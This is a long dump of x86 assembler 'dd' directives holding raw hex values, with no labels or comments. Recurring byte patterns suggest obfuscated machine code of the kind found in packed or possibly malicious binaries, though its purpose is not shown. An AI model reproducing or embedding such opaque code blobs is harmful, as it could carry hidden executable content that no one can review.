		dd 2B599159h, 0E9CD9B7Dh, 13h, 0A80EE55Ch, 0EFA7E3D3h
		dd 68122787h, 0BB8AEE0Ch, 83ED56FCh, 1E0135BDh,	840F0006h
		dd 18h,	8E9h, 765EA800h, 7832EB3Bh, 0B8D2h, 9D8B0000h
		dd 61E1EB1h, 11E960h, 0D29B0000h, 0FEEE580Ah, 0B737387Eh
		dd 0C25F640Dh, 8BDC1A8Ch, 1E0E2D85h, 83F88A06h,	6A02C0h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0D6EFD0C3h, 2B33EAFDh, 79958B9Fh, 89061E1Ah,	1E4C3185h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 76EE00BCh, 8B90840Bh, 1E0DD99Dh,	0FF00C606h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0ADC35747h
		dd 0D57D95BAh, 719D038Fh, 0C6061E2Eh, 1E204185h, 0F535306h
		dd 687h, 359D8B00h, 5B061E05h, 4E8h, 0B148D800h, 2820FFCh
		dd 8B000000h, 0BB6650D7h, 448B2CF2h, 0AFB60424h, 4489008Bh
		dd 5E90424h, 80000000h,	8F5D0B95h, 52006A58h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 39585B51h
		dd 7CF7F148h, 63BA6603h, 0FF14B229h, 1E3291B5h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 3756365Bh, 4B21A715h, 5CBA01D6h, 8D4D73C8h, 2178D185h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 5BF8512Ch, 233D8531h, 0D0FF061Eh, 1D35B589h
		dd 9D8B061Eh, 61E2995h,	26C18589h, 800F061Eh, 0Ah, 5E9h
		dd 91FAF900h, 0BD834874h, 61E096Dh, 6850F01h, 89000001h
		dd 1E214D9Dh, 6A6106h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0ECCA48C3h, 85C665B9h, 61E2041h
		dd 0B1B53145h, 68061E1Fh, 82DACEC9h, 17880Fh, 52500000h
		dd 605395BAh, 0E8310F7Bh, 6, 0FEB4F739h, 5A5A00E4h, 24348158h
		dd 58BAF60Bh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Ch,	8C35747h, 0D935C571h, 28C85101h, 2C05BD89h, 0B5FF061Eh
		dd 61E3291h, 1D8D0B60h,	0B9061E22h, 4162488Dh, 0DB816661h
		dd 858DC042h, 62178D1h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 0CCC35747h, 0C280A077h, 0A19D0190h, 0FF061E13h
		dd 79958BD0h, 6A061E22h, 0F3816600h, 0D0FF60E4h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 73C35141h, 5D9589CDh
		dd 89061E04h, 1E045195h, 35BD8306h, 1061E2Ah, 0F0850Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 6116B1C3h, 3B008F8Dh, 9D8BA00Dh, 61E1CB9h
		dd 0E2D858Bh, 9D89061Eh, 61E22D9h, 81E9h, 9E800h, 0F2D90000h
		dd 493370C4h, 8B0090AFh, 1E2CF595h, 0BB665B06h,	51504428h
		dd 18F2BA66h, 2404895Ah, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 16h, 10C35242h, 9D8B04D4h,	61E1651h, 0BA66146Ah
		dd 95FF4E66h, 61E26C1h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 14h, 0F2C35141h, 33199D0Bh, 8166061Eh, 584CA6DBh
		dd 192D9D2Bh, 3880061Eh, 8F850F00h, 6AFFFFFFh, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 6D0FC352h, 958B8591h, 61E1B91h, 800100C6h, 666144EBh
		dd 8320E6BAh, 1E0301BDh, 840F0006h, 52h, 0DABF0F60h, 6159FC50h
		dd 0BD89FF6Ah, 61E0DB5h, 26C195FFh, 2BB2061Eh, 0FFFFEBE9h
		dd 57006AFFh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 45665A31h, 0E01170B2h, 0E0816660h, 6E9D469h
		dd 98000000h, 0E4F6A16h, 85C76172h, 61E0301h, 1, 0AE860h
		dd 4E7F0000h, 12D43639h, 415ECDE7h, 58CE8B66h, 3319BD89h
		dd 8961061Eh, 1E4C3D85h, 0C9858906h, 90061E1Dh,	0B2504CB2h
		dd 6A90FEh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 609529C3h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 9AC35545h, 6A056AE4h,	3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 496AC356h
		dd 74DA8130h, 8D705718h, 1E4C5585h, 11E906h, 0F9F20000h
		dd 0A8CE3FD4h, 0D3F9CB93h, 0F1F8C5A2h, 90665B07h, 1BA86ABAh
		dd 0E950504Eh, 0Ch, 0A9E0F02h, 0F6020CBCh, 0F3D1F8A5h
		dd 840F905Bh, 6, 9F99D89h, 958B061Eh, 61E31D9h,	4C45858Dh
		dd 9D8B061Eh, 61E2BB5h,	24048950h, 0BA59EB81h, 95FF7DBEh
		dd 61E1EE5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	45C35747h, 0D86C1DAh, 14E9h, 4C070C00h,	0ECFAA286h
		dd 7EFCA3C9h, 0D7ABEDAEh, 0A765CED2h, 8A8D8D71h, 80061E7Ah
		dd 0C00B40EBh, 858D1174h, 61E4C55h, 89D1FF50h, 1E4C7385h
		dd 0C70AEB06h, 1E4C7385h, 0FFFFFF06h, 53006AFFh, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 8D40D9B2h, 57006AF8h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0B38F3662h, 6A610Ch, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 31524DC3h
		dd 1E0D55BDh, 85C65B06h, 61E2041h, 68B0F4Dh, 8B000000h
		dd 1E1D999Dh, 4E806h, 76A80000h, 0CE9A435h, 1E000000h
		dd 0D7217B2Ch, 0C8AE73F8h, 50B218FFh, 448BF8B6h, 8F0F0424h
		dd 26h,	14E85250h, 99000000h, 0DD4F8F82h, 0EC4410FCh, 0E5BD6273h
		dd 35181885h, 5B7D1CBEh, 5250310Fh, 585A310Fh, 8B585Ah
		dd 4244489h, 6890Fh, 66560000h,	5BC086BBh, 0D5958958h
		dd 0E8061E16h, 7, 50777C2Bh, 60EE4810h,	95E4B866h, 5A616160h
		dd 2A65B5FFh, 9523061Eh, 61E128Dh, 78D1858Dh, 6A0621h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 838803C3h, 8B4355E0h, 1E233D9Dh, 6AD0FF06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 4711C353h, 19C04300h, 81661413h, 0F9766EBh, 68Dh, 14E38100h
		dd 57182EE1h, 895BF98Ah, 1E31D585h, 0DBBF0F06h,	204185C6h
		dd 6A45061Eh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0B484C350h, 5468AF55h,	668C503Bh
		dd 481D08Bh, 222E1524h,	51006A02h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 9C36F1D9h, 21FFE7A4h
		dd 6810Fh, 95890000h, 61E024Dh,	3291B5FFh, 14E9061Eh, 0AB000000h
		dd 57EE2329h, 48A5C651h, 3E7FD5EDh, 0B1E5A157h,	8D090B81h
		dd 2178D185h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1904h, 0C3524200h, 0F841678Dh, 0D68B6DADh, 13E9h, 0D1212D00h
		dd 0DFAF9E9Ah, 0C57325F5h, 0BEFB35EFh, 3C43DC0Ah, 9D89D0FFh
		dd 61E3045h, 13758589h
		dd 9589061Eh, 61E20DDh,	0BB66D28Bh, 8C66FE5Eh, 29B509D9h
		dd 29061E04h, 1E12A595h, 4C1F606h, 202840Fh, 958B0000h
		dd 61E15F5h, 126E9h, 7E900h, 0CA640000h, 0DD788360h, 7DB58B7Fh
		dd 6A061E22h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 9D73C350h, 0BD897A9Fh,	61E2211h
		dd 32999D8Bh, 0C681061Eh, 1180h, 0BD83D08Bh, 61E18D1h
		dd 0E850F00h, 89000000h, 1E1E85B5h, 0A7E906h, 0DB800000h
		dd 3E83C8h, 9B840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 830FB3C3h, 6,	20DB589h
		dd 0E960061Eh, 12h, 0E97F3612h,	11FC6C31h, 4B6757D4h, 79AA48ECh
		dd 146A3E23h, 6880Fh, 9D890000h, 61E2975h, 1F399501h, 95FF061Eh
		dd 61E26C1h, 5CC28166h,	6A61E1h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 0F5378C3h, 38Ch, 0CF78000h
		dd 0FFFF6CE9h, 79B589FFh, 0F061E33h, 481h, 31BA6600h, 106C7B3h
		dd 60000000h, 0FE9h, 5FA45400h,	0FC23D702h, 0D3D87CFEh
		dd 483E3613h, 0BE9EBF66h, 83A9B661h, 1E4C3DBDh,	850F0506h
		dd 0C4h, 68C0Fh, 95890000h, 61E2CC1h, 1375B58Bh, 8E0F061Eh
		dd 3, 0B9D1BF0Fh, 64h, 2FB99D09h, 3E80061Eh, 15840FE8h
		dd 66000000h, 8B8989BBh, 1E19499Dh, 3FE906h, 9D8B0000h
		dd 61E1711h, 0C2057E80h, 53840Fh, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0CDA2CBC3h
		dd 9A6D4E6Bh, 6660B9C2h, 0BEAE07B9h, 413DDAB5h,	89504661h
		dd 1E17CDBDh, 0F495A06h, 0FFFF9985h, 0DEB70FFFh, 2FE9h
		dd 7E900h, 0A9080000h, 0FBCFB43h, 4DB58928h, 6A061E03h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0A68EC356h, 0EB815758h, 25E51FE6h, 15BD835Bh
		dd 61E0Ah, 12C840Fh, 9D310000h,	61E0019h, 51006A60h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 0F534BE9Dh, 2B399589h, 85C6061Eh, 61E2041h, 1D88B54h
		dd 1E2735BDh, 8FB16806h, 12E9C69Ch, 82000000h, 0CD7AD2ABh
		dd 0F1ADF433h, 3832ABA2h, 0F41753FBh, 243481F1h, 39D23145h
		dd 15860F52h, 0E9000000h, 10h, 6BB8E070h, 2BD1C04Bh, 9EF1B1B5h
		dd 11E0DF74h, 0E595895Bh, 0FF061E09h, 1E3291B5h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0EAAF0324h, 0BD89A3CDh, 61E2E69h, 78D1858Dh,	6A0621h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 2724EDC3h, 0FF2DB7A9h, 0DE8D0h, 0E6870000h, 0D7450D1Eh
		dd 9649183Ch, 601CAEBFh, 5A61F38Bh, 8D89006Ah, 61E092Dh
		dd 0A15B5FFh, 39B3061Eh, 8589D0FFh, 61E1909h, 57006A61h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 5A170912h, 3E48C00Ch, 85C7F56Ah, 61E0259h, 1, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0A9C35242h, 9503D74Fh
		dd 61E2E39h, 1F4D9D8Bh,	6A60061Eh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0E098C355h
		dd 53BB810h, 0B70FB8ADh, 0DE8B53DBh, 7DC1685Bh,	481B935h
		dd 0CA82BF24h, 6AB5B746h, 99509FFh, 0FF061E14h,	1E327195h
		dd 9D852906h, 61061E23h, 499D8B60h, 89061E2Bh, 1E1AA19Dh
		dd 0F506106h, 583h, 0BA98BA00h,	4892008h, 51006A24h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 0C5E68C8Eh, 995F41E4h, 9D8BA992h, 61E0281h, 0E01858Bh
		dd 0BB66061Eh, 0AE9DE92h, 29000000h, 9A8C4255h,	6F0FD98Bh
		dd 0FC00BEEh, 1184h, 0C3816600h, 95FF026Ah, 61E05BDh, 5D9D2Bh
		dd 85C7061Eh, 61E2A41h,	1, 83D78B66h, 1E220DBDh, 840F0006h
		dd 31h,	1FC19D8Bh, 95FF061Eh, 61E1BF1h,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 19h, 1CC35343h, 0F3D6602h
		dd 59BA6603h, 69BD83FDh, 61E32h, 12840Fh, 958B0000h, 61E32C9h
		dd 1D995FFh, 958B061Eh,	61E2BD5h, 2399BD83h, 0F00061Eh
		dd 2884h, 3810F00h, 80000000h, 0BD839AEBh, 61E1AF5h, 12850F00h
		dd 9000000h, 1E2F799Dh,	2D95FF06h, 89061E15h, 1E0EA58Dh
		dd 0EDBD8306h, 61E00h, 27840Fh,	958B0000h, 61E15E5h, 0CE98581h
		dd 4003061Eh, 5E90000h,	2D000000h, 6C9E99E3h, 0D198581h
		dd 4003061Eh, 0D7800000h, 6A310F01h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 8A97C357h
		dd 0DE9BAh, 13E20000h, 0BC7679B7h, 0FB0D2C78h, 89CB3B16h
		dd 1E1949B5h, 0EC8D8D06h, 89061E5Ch, 56006A01h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0BCEA3CA9h
		dd 6051ABECh, 33B58509h, 0E18A061Eh, 81605B61h,	5ACB56C8h
		dd 4D9D312Bh, 61061E33h, 0D18AC233h, 6A044189h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 2962C350h, 1E1CC585h, 6A310F06h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0C47C356h
		dd 8D08EA80h, 1E5D008Dh, 0D5BA6606h, 6A0189CDh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 89F5C355h, 1E04318Dh, 0E9C23306h, 0Fh, 962ADCE3h, 1611AE1Ah
		dd 1F990281h, 8901FA09h, 9D330441h, 61E2C79h, 235BD83h
		dd 0F00061Eh, 6684h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1904h, 0C3554500h, 0CE38AF21h, 0FFFC9193h
		dd 1E04C595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 66980DC3h, 0F9670BAh, 1680h, 11E900h
		dd 0D1990000h, 1CB53C22h, 97A8A2h, 83EDB673h, 83470177h
		dd 1E22B9BDh, 850F0106h, 98h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 3DC35141h, 29672D0Ch, 1E0CCDBDh
		dd 6EE906h, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 180424h, 51410000h, 0EF22BC3h, 9D8B96BFh, 61E2739h
		dd 5EC5B58Bh, 6C7061Eh,	0
		dd 5C47B58Bh, 6C7061Eh,	0
		dd 6AF9CFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0D3819BC3h, 72EF1AA2h, 68E0Fh, 0E2810000h
		dd 4A344BF8h, 2A41BD83h, 0F00061Eh, 16784h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 62F268Dh, 6CF6FBADh,	836EB27Bh, 1E01C5BDh, 850F0106h
		dd 124h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Bh,	79C35040h, 85388CE8h, 373AC3Dh,	1E21C99Dh, 318D8B06h
		dd 53061E4Ch, 0BE9h, 70992D00h,	65C611BEh, 2E650F2Fh, 0DE95Ah
		dd 76C40000h, 433B4E11h, 0AD6E2CDh, 0C6E0A264h,	6A0001h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 60DB96C3h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 18h,	1CC35646h, 36A1D62Bh, 1E5958Bh,	6168061Eh, 0B66F4B0Bh
		dd 24348134h, 6F4B0BE1h, 0E8D0Fh, 8B600000h, 1E2729BDh
		dd 25858B06h, 61061E0Dh, 830FFF6Ah, 3, 0FF65DF80h, 1E327195h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 0E9610ABDh, 13h,	1538FCC5h, 0B674A7A2h
		dd 73577068h, 13ACDDFFh, 66E187D9h, 0FF109ABAh,	1E1CF595h
		dd 2FBA6606h, 318D8BCBh, 0BB061E4Ch, 36E34E60h,	958901FEh
		dd 61E26D9h, 2ED5BD83h,	0F01061Eh, 385h, 0DEBF0F00h, 9589C08Bh
		dd 61E2EADh, 15519D89h,	0BD83061Eh, 61E1D79h, 83097500h
		dd 1E2B25BDh, 1A740006h, 0C08B5350h, 0CE9858Bh,	8589061Eh
		dd 61E0CE9h, 0AC3A9D8Dh, 0D3FF0620h, 0BD83585Bh, 61E2B25h
		dd 50187400h, 0E9858B53h, 89061E0Ch, 1E0CE985h,	299D8D06h
		dd 0FF0620A9h, 2B585BD3h, 1E05C995h, 0E59D8B06h, 80061E2Dh
		dd 0C08BD8EFh, 0F9FFBB66h, 2A41BD83h, 0F00061Eh, 1685h
		dd 0DFBF0F00h, 0ADBD83h, 0F00061Eh, 684h, 0ED9D8B00h, 83061E04h
		dd 1E2A41BDh, 840F0006h, 62h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0AFC35242h,	0D3AC9D2Eh, 83E70B87h
		dd 1E20C1BDh, 840F0006h, 32h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 0AEC35040h,	8D0F2D8Bh, 6, 2749958Bh
		dd 8B53061Eh, 1E17A99Dh, 0BD835B06h, 61E2A41h, 2A840F00h
		dd 52000000h, 526561BAh, 0BD835B5Ch, 61E20C1h, 16840F00h
		dd 0E8000000h, 0Fh, 6B03805Eh, 0E456E5F4h, 0B53F6118h
		dd 0FC5F101Dh, 41BD835Ah, 61E2Ah, 14840Fh, 9D030000h, 61E0CB9h
		dd 1E01BD83h, 0F00061Eh, 184h, 0BD83FC00h, 61E2A41h, 99840F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 653AC352h, 10BAE66Bh, 7EB23F32h
		dd 10E8h, 0D953E500h, 269C9847h, 0FC030318h, 0AA54B0DEh
		dd 14E9CDh, 5C080000h, 15E54DAFh, 0CA79E34Dh, 0B6024CE3h
		dd 7A041FBEh, 835A060Fh, 1E29E9BDh, 840F0006h, 38h, 5ADA8A51h
		dd 2C1D95FFh, 6A061Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 0AABCA8C3h, 0DFBF0F45h, 6850Fh
		dd 958B0000h, 61E14FDh,	8D0FC08Bh, 3, 8361E680h, 1E1D79BDh
		dd 9750006h, 2B25BD83h,	7400061Eh, 8B53501Ah, 19858BC0h
		dd 89061E0Dh, 1E0D1985h, 0A19D8D06h, 0FF0620ACh, 83585BD3h
		dd 1E2B25BDh, 18740006h, 858B5350h, 61E0D19h, 0D198589h
		dd 9D8D061Eh, 620A942h,	585BD3FFh, 6890F60h, 8B000000h
		dd 1E2D619Dh, 61858906h, 61061E1Eh, 14880F50h, 0E9000000h
		dd 0Fh,	0E5B2985Dh, 1E4A8804h, 15483DC9h, 5AFD1972h, 8B66C08Bh
		dd 41BD83D0h, 61E2Ah, 4EA840Fh,	8C0F0000h, 2, 0E281EEB2h
		dd 6669A7A4h, 96DBD83h,	0F02061Eh, 1084h, 0BD83F500h, 61E22B9h
		dd 2850F01h, 8B000000h,	3DBD83D3h, 61E0Ch, 0A5840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 8F1B8DC3h, 6EB0F8CEh, 0E824BB30h, 950B79C9h,	61E0E55h
		dd 0DAB70F60h, 4C318D8Bh, 9D8B061Eh, 61E07ADh, 0EE852h
		dd 0DC090000h, 19C9D288h, 0E3B2D69Ah, 0FCAA9DF4h, 5B5B6160h
		dd 9D0B01FEh, 61E1F65h,	11728468h, 9E842h, 2ADA0000h, 1567D184h
		dd 8A577E57h, 34815AF7h, 11720424h, 0C99D8B42h,	6A061E2Bh
		dd 91BD29FFh, 0FF061E20h, 1E327195h, 0B1858906h, 8B061E2Bh
		dd 1E0CC19Dh, 9D896106h, 61E0455h, 60EFD680h, 7E14E2BBh
		dd 318D8B4Ah, 6A061E4Ch, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 21C6C350h, 6810Fh
		dd 85890000h, 61E197Dh,	6A01FEh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 0E8F74DC3h, 634D958Ah
		dd 8A78D84Bh, 2E1E68F9h, 0CE9D191h, 0E8000000h,	0DCBA1AFAh
		dd 0CAE837D3h, 81DFE28Ch, 0D2622404h, 8B522E6Eh, 0FF6A5BD8h
		dd 9014BB66h, 327195FFh, 6A061Eh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0EB36E6C3h, 8023BBEFh
		dd 65958B5Eh, 8B061E14h, 1E22D195h, 0AE96106h, 66000000h
		dd 0ECC0D07Eh, 0AD69056Fh, 0EDBD8DD4h, 8B061E20h, 1E222195h
		dd 1C4F8B06h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 17h,	7CC35141h, 0FCAFB61h, 68Ch, 398D8900h, 6A061E29h
		dd 498D8901h, 50061E2Fh, 0C89D38Bh, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1704h,	0C3574700h, 0B92FFFF5h
		dd 5E8h, 1A296000h, 0E3B2EBD7h,	0E3D2815Ah, 8D531FF4h
		dd 2137AE85h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 88A82DFFh, 92654B8Eh, 13E9h, 8CBE2500h
		dd 53100136h, 74ACD05Ah, 0CA232565h, 0C5545175h, 0FF16DE80h
		dd 56006AD0h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0F90882E8h, 4F4C8EBAh, 0E79FBA5Bh, 4F8B4B2Dh
		dd 0AE920h, 0EBD60000h,	274FF94Fh, 207CA66Ah, 958B036Ah
		dd 61E1D85h, 5870F50h, 0BB000000h, 466B2117h, 56240C89h
		dd 0FE9h, 9C62E000h, 0A20BA410h, 311CD28Dh, 0FD0CED49h
		dd 0AE858D5Bh, 29062137h, 1E140995h, 89D0FF06h,	1E04419Dh
		dd 0EDBD8D06h, 6A061E20h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 66CBC350h, 4CC1DB81h
		dd 68EA8166h, 1C4F8BF0h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 19h, 6BC35242h, 863D27F8h,	0D1858971h, 6A061E2Fh
		dd 53006A01h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 1DEB0C53h, 0B651E7B6h, 158589C3h, 66061E1Ah
		dd 5077FFBBh, 0C8915B2h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 89D12C9Ch, 1E1EFD95h
		dd 0AE858D06h, 6A062137h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 7369C351h, 41E9EF49h
		dd 9503B06Ah, 61E035Dh
		dd 15299D89h, 0D0FF061Eh, 8BA8EE80h, 204F8BD8h,	89036AF8h
		dd 1E32EDBDh, 45B39106h, 91D68B50h, 0AE858DFCh,	3062137h
		dd 1E202995h, 8AD0FF06h, 318D8BD0h, 52061E4Ch, 1FE5BF5h
		dd 21B5BD89h, 858B061Eh, 61E4C31h, 1415B589h, 0FE061Eh
		dd 819D8Bh, 16A061Eh, 0E853006Ah, 3, 5BC35B20h,	4245C89h
		dd 4244481h, 1Ah, 50C35343h, 0F22E6A3Fh, 6E6881B3h, 8BEC0FC0h
		dd 240481D8h, 13EFDF91h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 17h, 21C35343h, 8B4CC36Dh,	1E079D9Dh, 0BD095706h
		dd 61E22B1h, 0B8858D5Bh, 6A062137h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0D9E5C356h
		dd 323B2F11h, 31259D8Bh, 0E860061Eh, 13h, 0F358C5C2h, 5C4F285Ch
		dd 591D7424h, 80AFF9EFh, 0E85F096Ah, 0Dh, 54DD37AEh, 342F44A1h
		dd 785ED287h, 61595A6Eh, 0E956D0FFh, 0Fh, 45048049h, 2E402438h
		dd 0AAA51868h, 5AE9ED14h, 0ADBD83h, 0F00061Eh, 10484h
		dd 5BD8900h, 83061E15h,	1E272DBDh, 850F0106h, 0F1h, 2285958Bh
		dd 8D8D061Eh, 62137C2h,	11E960h, 66FA0000h, 0E635B0E5h
		dd 69CA5FDCh, 0F9E7CE84h, 6611F4F7h, 551E281h, 6A036A61h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 9A99C350h, 1CDDB589h, 0DE8B061Eh,	0EE8016Ah
		dd 0C0000000h, 179FB02Fh, 5DC21660h, 0ED7C7A0h,	0DA8166CAh
		dd 0B35AC65Eh, 29D1FF51h, 1E26D9BDh, 0E9016A06h, 7, 34AD49F1h
		dd 6A47248Dh, 52006A01h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0CE9B905h, 0F7000000h, 498F2C32h
		dd 0DDB15E3h, 0FF2B03C0h, 53006AD1h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 6A3D63BFh
		dd 0F1C6E5A4h, 0D68B7B05h, 3D5C5BE8h, 0E38160FAh, 1C68C2FBh
		dd 28E0Fh, 0B2B40000h, 6A206A61h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 6BC5C350h
		dd 6F160786h, 7E9h, 5CDA2E00h, 0B6EF30C1h, 0BD89FF6Ah
		dd 61E1909h, 327195FFh,	0BB66061Eh, 0CB818EB4h,	167CC769h
		dd 0B8h, 65BD2900h, 0B061E1Fh, 30840FC0h, 8B000000h, 1E165195h
		dd 0EDBD8306h, 61E21h, 1D840Fh,	81660000h, 0FF92E2DBh
		dd 1E193595h, 0C8C0F06h, 0F000000h, 68Eh, 800F00h, 8B000000h
		dd 1E0E2D85h, 4850F06h,	51000000h, 0C65A5A53h, 8D310000h
		dd 61E2BF5h, 0D2816658h, 8C667259h, 0DB8166D9h,	0C1F64DF4h
		dd 93840F04h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 5CBAC353h, 8A4D7221h
		dd 9D896058h, 61E2CE9h,	95958953h, 5E061E21h, 0DE816061h
		dd 653779C1h, 61F18B66h, 51E9h,	0A9858900h, 8B061E2Bh
		dd 1E227DB5h, 0A5958B06h, 3061E04h, 1E2E319Dh, 80C68106h
		dd 8B000011h, 6C7D7h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 32B8C352h, 914A1D17h
		dd 0A9DA9DE4h, 669CF280h, 0E95ED18Bh, 6, 0FD91750Ah, 0F883850Bh
		dd 0D5840F00h, 0BB00000Ah, 64E8F6CEh, 0F01F883h, 16685h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 0A8E50E98h, 51C459F0h, 0B807F5h,	66000000h
		dd 0C00BDF8Bh, 0C2840Fh, 8B660000h, 1F883D8h, 0C8840Fh
		dd 9D890000h, 61E26B9h,	0F03F883h, 6284h, 9950B00h, 0B8061E2Ah
		dd 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0FAC35040h
		dd 7F83B52Dh, 8D639F9Ch, 5B7974BDh, 519D8B00h, 0FF061E16h
		dd 55006AE7h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 60BB6639h, 1958BCEh, 0B8061E30h,	1, 2291958Bh
		dd 9533061Eh, 61E2315h,	7974BD8Dh, 6A005Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 23DF6DC3h
		dd 0B30E3E04h, 669EE75Dh, 0FF8F37BAh, 0FFF280E7h, 42BDBD8Dh
